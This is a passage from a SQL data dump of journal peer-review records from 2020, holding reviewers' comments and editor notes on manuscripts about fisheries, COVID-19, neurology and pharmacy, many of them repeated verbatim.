journal.','2020-09-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2404,10779,6076,NULL,'5','g','y','y','y','Author has selected this topic Lake Elevation Drives Stocking Success of Chinook Salmon in Lake Oahe, South Dakota, a Large Midwest Reservoir is novel and very intersting. The Lake Oahe surface elevation showed the most support in predicting recruitment of Chinook salmon to the spawning stock. Even more puzzling was the fact that Chinook salmon recruitment increased with decreasing surface elevation. Thus, as the lake level drops, recruitment of Chinook salmon to the spawning stock increases. I accept to publish this article in our journal.','Author has selected this topic Lake Elevation Drives Stocking Success of Chinook Salmon in Lake Oahe, South Dakota, a Large Midwest Reservoir is novel and very intersting. The Lake Oahe surface elevation showed the most support in predicting recruitment of Chinook salmon to the spawning stock. Even more puzzling was the fact that Chinook salmon recruitment increased with decreasing surface elevation. Thus, as the lake level drops, recruitment of Chinook salmon to the spawning stock increases. I accept to publish this article in our journal.','2020-09-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2405,10779,5071,NULL,'5','g','y','y','y','Author has selected this topic Prevalence and pathology manifestation of Acanthocephalus ranae infestation in finfishes of Tamilnadu, southeast coast of India is novel and very intersting.  \r\n\r\nI accept to publish this article in our journal.','Author has selected this topic Prevalence and pathology manifestation of Acanthocephalus ranae infestation in finfishes of Tamilnadu, southeast coast of India is novel and very intersting.  \r\n\r\nI accept to publish this article in our journal.','2020-09-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2408,13180,6170,NULL,'6','r','y','y','y','Article is fit for publication, research work is done very genuinely and results are good ','can publish','2020-09-29',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2409,13180,6223,NULL,'6','g','y','y','y','Research is done well, all the points are valid and well described.','Can go for publication.','2020-09-29',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2410,13180,6213,NULL,'6','g','y','y','y','article is fit for publication, research work is done very genuinely and results are good ','Can Publish','2020-09-29',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2411,13180,6058,NULL,'6','r','y','y','y','Review is done well, all the points are studied well and explaination for them is good. ','Can go for publication work','2020-09-29',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2412,13180,6041,NULL,'6','g','y','y','y','Research work is good','Can go for publication work','2020-09-29',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2413,13180,5857,NULL,'6','r','y','y','y','Research is done well, all the points are valid and well described.','can publish in your journal','2020-09-29',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2414,13180,5747,NULL,'6','r','y','y','y','Research is well defined','can publish in your journal','2020-09-29',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2415,13180,5550,NULL,'6','g','y','y','y','article is fit for publication, research work is done very genuinely and results are good ','Can publish','2020-09-29',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2416,12875,6235,NULL,'5','R','Y','Y','Y','Compliment the authors for a rare Case report. The use of lower doses of Cisplatin to minimize the damage to the lone kidney due to its known nephrotoxicity is an innovative approach. Authors may follow-up the case and document longterm prognosis and share with the scientific world.','An innovative trial of a new approach. deserving publication.  Deserves further studies by others facing a similar situation to standardize the process and also follow-up for long periods to understand the long term prognosis.','2020-09-29',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2425,9108,6026,NULL,'5','g','y','y','n','Thank you for providing opportunity to review the manuscript entitled MLEE typing of potentially virulent Candida albicans and Candida dubliniensis isolated from diabetic patients. Abstract is very clear within the word limit in clear and concise manner which can be easily comprehended. Good number subjects are considered for the study with both males and females are appreciated. Significant method is used Oral colonization by Candida species, Genetic diversity analysis and Virulence profile in vitro (SAPs and PLs). Results indicated a high predominance of the Candida species, especially the hereditarily differentiated and possibly harmful C. albicans strains, in the oral hole of diabetic patients with glucose level controlled and without oral candidiasis clinical indications. Manuscript is recommended to publish.','','2020-09-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2426,9108,6026,NULL,'5','g','y','y','n','Thank you for providing opportunity to review the manuscript entitled MLEE typing of potentially virulent Candida albicans and Candida dubliniensis isolated from diabetic patients. Abstract is very clear within the word limit in clear and concise manner which can be easily comprehended. Good number subjects are considered for the study with both males and females are appreciated. Significant method is used Oral colonization by Candida species, Genetic diversity analysis and Virulence profile in vitro (SAPs and PLs). Results indicated a high predominance of the Candida species, especially the hereditarily differentiated and possibly harmful C. albicans strains, in the oral hole of diabetic patients with glucose level controlled and without oral candidiasis clinical indications. Manuscript is recommended to publish.','','2020-09-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2431,13720,6282,NULL,'2','G','N','Y','Y','Dear Jennifer L. Cook\r\n\r\nWhat is written address very important topics\r\nBut I think nowadays and after almost 6 months of out break \r\nWhat is written already in practice by most of the institutes \r\nAnd there few measures not practical ie keeping Positive staff away \r\nFrom hospital as a rule \r\nAlso regarding the clinics OPD, nowadays most of them With some exception \r\n(virtual Clinc ) so dose not required presence of patients \r\nAlso in case if needed only one care giver\r\n\r\nBest regards','','2020-10-02',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2432,13720,6282,NULL,'2','G','N','Y','Y','Dear Jennifer L. Cook\r\n\r\nWhat is written address very important topics\r\nBut I think nowadays and after almost 6 months of out break \r\nWhat is written already in practice by most of the institutes \r\nAnd there few measures not practical ie keeping Positive staff away \r\nFrom hospital as a rule \r\nAlso regarding the clinics OPD, nowadays most of them With some exception \r\n(virtual Clinc ) so dose not required presence of patients \r\nAlso in case if needed only one care giver\r\n\r\nBest regards','','2020-10-02',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2433,13720,6282,NULL,'2','G','N','Y','Y','Dear Jennifer L. Cook\r\n\r\nWhat is written address very important topics\r\nBut I think nowadays and after almost 6 months of out break \r\nWhat is written already in practice by most of the institutes \r\nAnd there few measures not practical ie keeping Positive staff away \r\nFrom hospital as a rule \r\nAlso regarding the clinics OPD, nowadays most of them With some exception \r\n(virtual Clinc ) so dose not required presence of patients \r\nAlso in case if needed only one care giver\r\n\r\nBest regards','','2020-10-02',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2434,13720,6282,NULL,'2','G','N','Y','Y','Dear Jennifer L. Cook\r\n\r\nWhat is written address very important topics\r\nBut I think nowadays and after almost 6 months of out break \r\nWhat is written already in practice by most of the institutes \r\nAnd there few measures not practical ie keeping Positive staff away \r\nFrom hospital as a rule \r\nAlso regarding the clinics OPD, nowadays most of them With some exception \r\n(virtual Clinc ) so dose not required presence of patients \r\nAlso in case if needed only one care giver\r\n\r\nBest regards','','2020-10-02',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2438,13720,6282,NULL,'2','G','N','Y','Y','Dear Jennifer L. Cook\r\n\r\nWhat is written address very important topics\r\nBut I think nowadays and after almost 6 months of out break \r\nWhat is written already in practice by most of the institutes \r\nAnd there few measures not practical ie keeping Positive staff away \r\nFrom hospital as a rule \r\nAlso regarding the clinics OPD, nowadays most of them With some exception \r\n(virtual Clinc ) so dose not required presence of patients \r\nAlso in case if needed only one care giver\r\n\r\nBest regards','','2020-10-02',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2442,7303,6229,NULL,'1','r','n','m','y','The work entitled \"DEVELOPMENT, OPTIMIZATION AND EVALUATION OF SILVER SULPHADIAZINE LOADED NANOFIBROUS SCAFFOLD AS WOUND DRESSING\" even though dealing with an intersting subject fails in transmiting the ideas and main results to the readers. There is not connection between the information provided, that is there is no actual story. The authors need to further improve their work prior to publication.\r\nThe abstract is poorly constructed, without any mention to the advantage of this strategy or the polymers employed in the fabrication of the dressing.\r\nIntroduction - this section is very superficial without demonstrating the actual impact of this approach, its novelty, or even provided a sequence of information that is appropriated. The references are also not in order. There were only 2 used in this study, which should be a lot more to demostrate the importance of this work.\r\nIn the list of materials the authors did not provide suficient information on the properties/characteristics of each compound used. Section 1, 2 and 3 are not complete, very little information is provided on the methods employed. In the preparation of the polymers solutions the % of polymers is w/w or w/v? Why selecting those specific volume ratios for PVA and sodium alginate? There should be no references in the titltes of the sections. There is no mention on the flow rate of the electrospinning. There are many details missing from all sections in the Materials and Methods.\r\nIn the results and discussion section there is almost no discussion. In fact, in many instances, there is barely an introduction to the results. This is very weakly prepared. Are the readers suppose to understand everything without any context? This entire section needs to be complete.\r\n','','2020-10-03',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2451,11354,6274,NULL,'5','R','Y','Y','Y','This review article suggests the possibility of 4 drugs to inhibit the proliferation of breast cancer. It is an important study.','','2020-10-07',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2456,8997,6234,NULL,'6','6','6','6','6','clear, cohesive and objective manuscript.\r\n\r\nCurrent theme.\r\n\r\nData updated and consistent with the research object.\r\n\r\n\r\nWell-defined discussion.\r\n\r\nConclusion strongly supported by strong evidence.','clear, cohesive and objective manuscript.\r\n\r\nCurrent theme.\r\n\r\nData updated and consistent with the research object.\r\n\r\n\r\nWell-defined discussion.\r\n\r\nConclusion strongly supported by strong evidence.','2020-10-08',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2458,14805,6273,NULL,'5','R','n','n','n','The review it looks complete and exhaustive, I congrats the author for the efforts ','To the Editor, \r\nThe study conducted is ethical; the material is original; prior/related work is discussed and cited appropriately; the writing is clear; the study methods are appropriate; the data are valid; the conclusions are reasonable and supported by the data; the information is important, and the topic is interesting for the readership.\r\n. \r\nFinally, I declare no potential conflicts of interest concerning the research, authorship and/or publication of this article. \r\n','2020-10-09',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2459,644,6242,NULL,'4','g','n','y','y','Thank you for presenting this case.\r\nIts a rare case we as clinicians need to be aware of.\r\nUnfortunately not much has evolved or known in terms of its exact pathophysiology.','Its a rare case we as clinicians need to be aware of and good brief presentation of this case.\r\nBut i do not think this case offers anything new.\r\nStill pathophysiology wise/treatment related- very limited information','2020-10-09',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2460,644,6242,NULL,'4','g','n','y','y','Thank you for presenting this case.\r\nIts a rare case we as clinicians need to be aware of.\r\nUnfortunately not much has evolved or known in terms of its exact pathophysiology.','Its a rare case we as clinicians need to be aware of and good brief presentation of this case.\r\nBut i do not think this case offers anything new.\r\nStill pathophysiology wise/treatment related- very limited information','2020-10-09',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2461,644,6242,NULL,'4','g','n','y','y','Thank you for presenting this case.\r\nIts a rare case we as clinicians need to be aware of.\r\nUnfortunately not much has evolved or known in terms of its exact pathophysiology.','Its a rare case we as clinicians need to be aware of and good brief presentation of this case.\r\nBut i do not think this case offers anything new.\r\nStill pathophysiology wise/treatment related- very limited information','2020-10-09',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2462,644,6242,NULL,'4','g','n','y','y','Thank you for presenting this case.\r\nIts a rare case we as clinicians need to be aware of.\r\nUnfortunately not much has evolved or known in terms of its exact pathophysiology.','Its a rare case we as clinicians need to be aware of and good brief presentation of this case.\r\nBut i do not think this case offers anything new.\r\nStill pathophysiology wise/treatment related- very limited information','2020-10-09',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2463,13884,6349,NULL,'5','G','Y','Y','Y','Good topic with relevance to the current pandemic. Methodology and analysis are siund','The article approaces a very current topic. Methodology is sound. Results are relevant and can lead to practical programs for this population','2020-10-09',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2464,13225,5366,NULL,'4','G','Y','Y','Y','The article entitled \"Implications of COVID-19 in Neurological Disorders\" is a mini review article which explain the SARS-CoV-2 virus which currently prevails all over the world would also infect the brain. Certain symptoms observed by doctors could indeed stem from brain dysfunction, but investigations are still underway to better understand this potential neurological damage to COVID-19. The article is very interesting and useful for future study.  I suggest a small change i.e. the formatting and grammar after that this article can publish.','The article entitled \"Implications of COVID-19 in Neurological Disorders\" is a mini review article which explain the SARS-CoV-2 virus which currently prevails all over the world would also infect the brain. Certain symptoms observed by doctors could indeed stem from brain dysfunction, but investigations are still underway to better understand this potential neurological damage to COVID-19. The article is very interesting and useful for future study.  I suggest a small change i.e. the formatting and grammar after that this article can publish.','2020-10-10',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2465,13225,5232,NULL,'4','G','Y','Y','Y','The article entitled \"Neurological Manifestations of SARS-CoV-2: Proposed Pathogenesis\" is a  review article which explain the knowledge of the effects of SARS-CoV-2 on the nervous system, subcategorized the manifestations were established as a central and peripheral possible pathogenic pathway of the virus on the nervous system. The article is very interesting and useful for future study.  I suggest a small change i.e. the formatting and grammar after that this article can publish.','The article entitled \"Neurological Manifestations of SARS-CoV-2: Proposed Pathogenesis\" is a  review article which explain the knowledge of the effects of SARS-CoV-2 on the nervous system, subcategorized the manifestations were established as a central and peripheral possible pathogenic pathway of the virus on the nervous system. The article is very interesting and useful for future study.  I suggest a small change i.e. the formatting and grammar after that this article can publish.','2020-10-10',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2466,13225,5197,NULL,'4','G','Y','Y','Y','The article entitled \"CALCIFIED CHRONIC SUBDURAL HEMATOMA\" is a  case report article which explain a wide area of perimeter calcification of left fronto-parieto-occipital extraxial location is observed in a 68-year-old male patient entering with generalized tonic-clonic seizure box, hemiplegia on the right side due to a reduction in brain tissue of up to 200 g, with an increase in extra-brain space by 6 to 11 % allowing parenchyma to adapt to the hematoma and that it is stood. With proper figures the author explain it very nicely. The article is very interesting and useful for future study.  I suggest a small change i.e. the formatting and grammar after that this article can publish.','The article entitled \"CALCIFIED CHRONIC SUBDURAL HEMATOMA\" is a  case report article which explain a wide area of perimeter calcification of left fronto-parieto-occipital extraxial location is observed in a 68-year-old male patient entering with generalized tonic-clonic seizure box, hemiplegia on the right side due to a reduction in brain tissue of up to 200 g, with an increase in extra-brain space by 6 to 11 % allowing parenchyma to adapt to the hematoma and that it is stood. With proper figures the author explain it very nicely. The article is very interesting and useful for future study.  I suggest a small change i.e. the formatting and grammar after that this article can publish.','2020-10-10',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2467,13225,6232,NULL,'4','G','Y','Y','Y','The article entitled \"The Neuromodulatory Effect of Vagus Nerve Stimulation (VNS) in Drug Resistant Generalized Epilepsy in Saudi Arabia\" is a  research article which explain a sample of 18 patients with generalized epilepsy who were treated with VNS at King Fahad Medical City. The reported outcomes included seizure frequency reduction and side effects of VNS therapy. With proper tables the author explain it very nicely. The article is very interesting and useful for future study.  I suggest a small change i.e. the formatting and grammar after that this article can publish.','The article entitled \"The Neuromodulatory Effect of Vagus Nerve Stimulation (VNS) in Drug Resistant Generalized Epilepsy in Saudi Arabia\" is a  research article which explain a sample of 18 patients with generalized epilepsy who were treated with VNS at King Fahad Medical City. The reported outcomes included seizure frequency reduction and side effects of VNS therapy. With proper tables the author explain it very nicely. The article is very interesting and useful for future study.  I suggest a small change i.e. the formatting and grammar after that this article can publish.','2020-10-10',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2468,11354,6328,NULL,'4','R','Y','Y','Y','This is an interesting review about the role of essential oils in health. The references for the challenges of the nutrition business may be added in mustard essential oil.','','2020-10-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2470,11589,5712,NULL,'6','G','Y','Y','N','The article entitled \" Prevalence of Primary Headache Disorder Among Primary and middle School students in Kuwait\" is a cross-sectional study which explain the prevalence of primary headache disorders among primary and middle school students in Kuwait. Results of this study shows , Primary headaches are remarkably common in Kuwaiti school students with migraine headache being the most frequently reported type. Age and female gender pay a role in the development of primary headaches. The results attract attention of health services for those group, the need for further epidemiological researches. The article is very interesting and useful for future study. With proper figures and tables the author explains it very nicely. I suggest a small change i.e. the formatting and grammar after that this article can publish.','The article entitled \" Prevalence of Primary Headache Disorder Among Primary and middle School students in Kuwait\" is a cross-sectional study which explain the prevalence of primary headache disorders among primary and middle school students in Kuwait. Results of this study shows , Primary headaches are remarkably common in Kuwaiti school students with migraine headache being the most frequently reported type. Age and female gender pay a role in the development of primary headaches. The results attract attention of health services for those group, the need for further epidemiological researches. The article is very interesting and useful for future study. With proper figures and tables the author explains it very nicely. I suggest a small change i.e. the formatting and grammar after that this article can publish.','2020-10-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2472,11589,5989,NULL,'6','G','Y','Y','N','The article entitled \" Pediatric RCVS in Newly Diagnosed ALL Treated with Intra-Arterial Nicardipine\" is a Case study which explain about Reversible Cerebral Vasoconstriction Syndrome (RCVS) in a 3-year-old male who was admitted to the pediatric ICU with newly diagnosed Acute Lymphoblastic Leukemia (ALL). The article is very interesting and useful for future study. With proper figures the author explains it very nicely. I suggest a small change i.e. the formatting and grammar after that this article can publish.','','2020-10-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2473,11589,5126,NULL,'5','g','y','y','n','The article entitled \" Effects Of Healthy Aging On Semantic Processing Of Familiar Faces: Pilot Study\" is a research article which explain the subtle changes in electroencephalogram (EEG signals) recorded from a cognitively healthy population (n = 21) of varying ages (aged 20 – 72) to assess the effects of normal, healthy aging on semantic processing of familiar faces. that age had a significant effect on event-related potential (ERP) components such as the latency of P600 at electrode Pz which had a negative correlation withage (𝜌 = - 0.697). Results from scalp current density (SCD) analysis supported these findings indicating that the semantic process of familiar faces was faster among older groups while the overall cortex activation was more prominent among younger groups. The findings from this study highlight potential neural biomarkers that may be used to differentiate healthy elderly populations from those affected by AD and MCI. The article is very interesting and useful for future study. With proper figures and tables the author explains it very nicely. I suggest a small change i.e. the formatting and grammar after that this article can publish.','','2020-10-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2474,11589,5187,NULL,'6','G','Y','Y','N','The article entitled \" Pilot Study To Determine The Extent Of Chemotherapy-induced Polyneuropathy (CIPNP) In Breast Cancer Patients\" is a research article which explain about Chemotherapy induced polyneuropathie (CIPNP) and to detect a means for the diagnosis of equilibrium disorders to meet the requirements of everyday life. The present study showed that CIPNP in breast cancer pts is underestimated by using simple bipedal or the monopedic standimg to assess the equilibrium of pts. The real impairment of the patients\' system of equilibrium with CIPN was evident both in the area of fluctuation (Area) and in the high termination rates, which is important to know regarding everyday life questions like risk of falling or injury. The article is very interesting and useful for future study. With proper figures and tables the author explains it very nicely. I suggest a small change i.e. the formatting and grammar after that this article can publish.','','2020-10-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2481,14805,6328,NULL,'3','d','n','n','n','The title is informative and relevant. The Abstract is well organized and it is clear the study aim and the main findings. However, the authors should consider better explain the rationale of this work (just some words) and the initial hypothesis.\r\nThe references are relevant, recent and correctly cited, but not enough for this type of paper. The index terms are relevant giving an immediate idea of the content of the paper.\r\nThe Introduction section is could be improved better highlighting the initial hypothesis, the aim and the novelty of the study.\r\nMaterials and Methods are well organized and explained and seem to be valid and reliable. \r\nThe results are presented appropriately and the text in the Results section adds to the data and are discussed from multiple angles and placed into context. \r\n\r\nThe Conclusions answer the aim of the study and are supported by the results. However, the Authors should consider discussing future analysis related to this works.\r\n\r\nMajor Comments\r\n-----------------\r\n\r\n1. I strongly recommend revising the Introduction section. This part of the paper needs to provide the current knowledge related to the research carried out and then justifying the research question, the aim and the initial hypothesis.\r\n2. I recommend adding the initial hypothesis of the study explaining the novelty of your work.\r\n5. I recommend adding and discussing future works and limitations.\r\n','To the Editor(s)\r\nThe study conducted is ethical; the material is original; prior/related work is discussed and\r\ncited appropriately; the writing is clear; the study methods are appropriate; the data are valid;\r\nthe conclusions are reasonable and supported by the data; the information is important, and\r\nthe topic is interesting for the readership.\r\nHowever, several aspects have been addressed to the Authors.\r\nFinally, I declare no potential conflicts of interest concerning the research, authorship and/or\r\npublication of this article.\r\n','2020-10-16',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2482,14805,6274,NULL,'3','R','n','n','n','I congrats the authors for the efforts. The study is really interesting but several comments have to be addressed.\r\n\r\nThe title is informative and relevant. The Abstract is well organized and it is clear the study aim and the main findings. However, the authors should consider better explain the rationale of this work (just some words) and the initial hypothesis.\r\nThe references are relevant, recent and correctly cited, but not enough for this type of paper. The index terms are relevant giving an immediate idea of the content of the paper.\r\nThe Introduction section is could be improved better highlighting the initial hypothesis, the aim and the novelty of the study.\r\nMaterials and Methods are well organized and explained and seem to be valid and reliable. \r\nThe results are presented appropriately and the text in the Results section adds to the data and are discussed from multiple angles and placed into context. \r\n\r\nThe Conclusions answer the aim of the study and are supported by the results. However, the Authors should consider discussing future analysis related to this works.\r\n\r\nMajor Comments\r\n-----------------\r\n\r\n1. I strongly recommend revising the Introduction section. This part of the paper needs to provide the current knowledge related to the research carried out and then justifying the research question, the aim and the initial hypothesis.\r\n2. I recommend adding the initial hypothesis of the study explaining the novelty of your work.\r\n5. I recommend adding and discussing future works and limitations.\r\n','To the Editor(s)\r\nThe study conducted is ethical; the material is original; prior/related work is discussed and\r\ncited appropriately; the writing is clear; the study methods are appropriate; the data are valid;\r\nthe conclusions are reasonable and supported by the data; the information is important, and\r\nthe topic is interesting for the readership.\r\nHowever, several aspects have been addressed to the Authors.\r\nFinally, I declare no potential conflicts of interest concerning the research, authorship and/or\r\npublication of this article.\r\n','2020-10-16',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2483,14805,6390,NULL,'5','R','y','n','n','I congrats the authors for the efforts. The study is really interesting and I have no further comments/suggestions. ','To the Editor(s)\r\nThe study conducted is ethical; the material is original; prior/related work is discussed and\r\ncited appropriately; the writing is clear; the study methods are appropriate; the data are valid;\r\nthe conclusions are reasonable and supported by the data; the information is important, and\r\nthe topic is interesting for the readership.\r\n\r\nFinally, I declare no potential conflicts of interest concerning the research, authorship and/or\r\npublication of this article.\r\n','2020-10-16',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2485,13886,6349,NULL,'1','G','N','Y','Y','This review article has attempted to identify anxiety, depression and other mental disorders among pregnant women during the COVID-19 pandemic living in exposure to COVID-19.\r\n\r\nThe abstract is fine which is presented in different subheadings. The background, methods, results and conclusions in the abstract is fine.\r\n\r\nHowever, the main text seems incomplete. It would be better to present the review in a systematic manner to include major headings of background, methods, results, discussions and conclusion. All these sections are unclear and incomplete. Some more detailed information is required in each section in the main body of the article. Descriptions are required according to different headings. \r\n\r\nThe current article cannot be accepted in its present form. \r\n','','2020-10-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2489,11355,6328,NULL,'4','R','Y','Y','y','The author reviewed the use of some plant essential oils. The manuscript is well organized. The conclusion is reliable. It is in the scope of this journal. There is one point need to be noticed, which is the reference style is not consistent. ','','2020-10-18',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2490,11355,6328,NULL,'4','R','Y','Y','y','The author reviewed the use of some plant essential oils. The manuscript is well organized. The conclusion is reliable. It is in the scope of this journal. There is one point need to be noticed, which is the reference style is not consistent. ','','2020-10-18',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2494,13886,6348,NULL,'4','G','Y','Y','N','This review shows the health of refugees during the COVID-19 pandemic and how different countries are dealing with refugees/displaced people during the pandemic time. \r\n\r\nIn the abstract section, some background information could be provided to present the current situation. The first sentence in the methods needs to be revised as it is not clear whether database were searched from July 2020 to December 2019 or only articles from the timeline December 2019 to July 2020 were searched. Please clarify this. Typo seen in the first sentence of the results section. Also, please include some country initiatives to protect refugees from COVID-19 in different countries, which is the main focus of the review. The conclusions are fine.\r\n\r\nThe background section lacks some information related to how and why refugees are at more risk of COVID-19 and why these groups are more vulnerable to COVID-19. If available, some evidences are required to present the context of refugees during COVID-19. The aim of the article is well presented.\r\n\r\nThe methods section is fine but please check and rewrite the sentence: The preferred citations were original articles, but there were also considerated international reports, editorials and news for the purpose of completeness.\r\n\r\nThe result needs to be presented in different subheadings for clarity. It would be better to present the findings according to different subheadings. \r\n\r\nThe conclusions are fine. The major highlights have also been presented.\r\n\r\nThe references are valid and sufficient.','','2020-10-19',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2506,14994,6217,NULL,'5','g','d','y','y','very interested','very good topic , I RECOMMEND TO Publish it  and add the name of the corresponding author as the third author .','2020-10-20',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2516,14831,6318,NULL,'5','R','Y','Y','N','I have not comment to add\r\nIf you have any question about this article  please to send me it.','This case is the only diagnosed with this disease in our department, its very rare like a pathology. Leptomeningeal biopsy mades the diagnostic.\r\nI only submited it in your journal of neurology and neuroscience.\r\nI have not any thing to add in this article','2020-10-22',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2518,13886,6347,NULL,'3','G','N','Y','Y','This article discusses about the mental health concerns of Lebanese people in the epidemic situation of COVID-19 as well as in light of the massive explosions that took place in early August in Beirut port.\r\n\r\nThe abstract is presented in different subheadings. However, the results also need to focus more in the context of current COVID-19 cases in Lebanon and mental health associated with it. The results only describes the tragedy of massive explosions. If possible other aspects of mental health including services, health system can also be explained. Other parts of the abstract are fine.\r\n\r\nIn the main text, it would be better to present the text into different subheadings. Since no subheadings are provided, it is difficult for the readers to understand and link the contexts. Based on the writing made, it would be better to divide the sections into: Background, Mental Health Concerns and Conclusions. The mental health concerns section can be further sub divided into: COVID-19, Tragedy of Mass Explosions, Political Instability, Economic Crisis, Health Crisis and others (if applicable). Please link with the mental health of the people in each of the sub headings. \r\n\r\nIf applicable, more resources can be reviewed and increase the references.','','2020-10-23',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2520,12875,6445,NULL,'5','G','D','Y','Y','The authors have brought the advantage of sufentanil sublingual tablet opioids in the recovery unit compared to traditional intraoperative intravenous opioid dosing.  They claim an overall decrease in recovery discharge time by 14 min and enhanced recovery compared to standard intravenous opioid administration. However, the time period of control and selection criteria for cases and the control group does not come explicitly. Since the outcome was Management of Perioperative Surgical Pain, which is subjective one would have liked to hear about a qualitative study about client satisfaction. One would have liked to hear the surgeon\'s opinion on the claims by depth interviews.\r\n\r\n','A good joint study report by the Department of Pharmacy and Anesthesia. Such studies need to be encouraged by publishing','2020-10-23',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2522,5743,6346,NULL,'4','G','Y','Y','Y','This systematic review is a very important one, as it addresses an urgent issue pertaining to stress and anxiety, physical exertion, and psychological pressure faced by frontline healthcare workers, such as doctors, nurses, and other paramedical staff during the ongoing COVID-19 pandemic, especially in an ICU setting. The authors have followed the standard methodology for a systematic review. They have satisfactorily analyzed all the aspects pertaining to the impact of COVID-19 on healthcare workers. \r\n\r\nSome minor issues that need attention, include the following:\r\n\r\n1. Style of English: The \'Style of English\' that is recommended by the journal should be followed. Here, the \'American Style\' of spellings have been followed (e.g. etiology), as opposed to \'aetiology\' in the \'British Style\'.\r\n\r\n2. Clarity of Presentation: There is scope for improving the grammar and syntax. This will increase the clarity of the presentation. \r\n\r\n3. Style of Referencing: The appropriate \'Style of Referencing\' that is recommended by the journal should be followed.','This systematic review is very important and timely, as it addresses a very contemporary issue. The analysis is in-depth and has been done rigorously. The data presented are scientifically 